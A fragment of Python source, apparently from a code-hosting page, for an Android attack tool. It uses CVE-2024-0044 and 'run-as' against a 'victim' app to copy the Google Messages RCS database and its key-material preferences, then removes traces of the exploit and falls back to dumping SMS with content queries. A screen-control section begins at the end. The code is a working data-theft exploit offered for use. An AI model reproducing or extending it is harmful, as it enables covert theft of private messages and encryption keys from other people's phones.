gmsg_data = '/data/data/com.google.android.apps.messaging'
|
||||
for f in ['databases/bugle_db', 'databases/bugle_db-wal', 'databases/bugle_db-shm']:
|
||||
self._shell(serial,
|
||||
f'run-as {victim} cat {gmsg_data}/{f} > {output_dir}/{os.path.basename(f)} 2>/dev/null')
|
||||
# Copy shared_prefs
|
||||
prefs = self._shell(serial, f'run-as {victim} ls {gmsg_data}/shared_prefs/')
|
||||
if prefs['returncode'] == 0:
|
||||
for pf in prefs['output'].splitlines():
|
||||
pf = pf.strip()
|
||||
if pf:
|
||||
self._shell(serial,
|
||||
f'run-as {victim} cat {gmsg_data}/shared_prefs/{pf} > {output_dir}/shared_prefs/{pf} 2>/dev/null')
|
||||
# Cleanup exploit
|
||||
self.cleanup_cve_2024_0044(serial, victim)
|
||||
return {
|
||||
'success': True,
|
||||
'extraction_method': 'CVE-2024-0044 (app UID)',
|
||||
'output_dir': output_dir,
|
||||
'pull_command': f'adb pull {output_dir}/ ./extracted_rcs/',
|
||||
'encrypted': True,
|
||||
'message': 'bugle_db + key material extracted via CVE-2024-0044',
|
||||
}
|
||||
results['cve_2024_0044_error'] = r.get('error', '')
|
||||
|
||||
# Method 3: Content providers only (SMS/MMS, NOT RCS)
|
||||
results['methods_tried'].append('content_providers')
|
||||
sms_output = self._shell(serial,
|
||||
'content query --uri content://sms/ --projection _id:address:body:date:type --sort "date DESC"')
|
||||
sms_count = sms_output['output'].count('Row:') if sms_output['returncode'] == 0 else 0
|
||||
|
||||
return {
|
||||
'success': False,
|
||||
'extraction_method': 'none — all exploit paths exhausted',
|
||||
'methods_tried': results['methods_tried'],
|
||||
'errors': {k: v for k, v in results.items() if k.endswith('_error')},
|
||||
'fallback': {
|
||||
'sms_mms_available': sms_count > 0,
|
||||
'sms_count': sms_count,
|
||||
'note': 'Content providers give SMS/MMS only — RCS is in encrypted bugle_db. '
|
||||
'Need exploit APK or unlocked bootloader for RCS extraction.',
|
||||
},
|
||||
'patch': patch,
|
||||
'sdk': sdk,
|
||||
}
|
||||
|
||||
# ── Screen & Input Control (Android 9+) ──────────────────────────
|
||||
|
||||
def screen_capture(self, serial):
|
||||
|
||||
Reference in New Issue
Block a user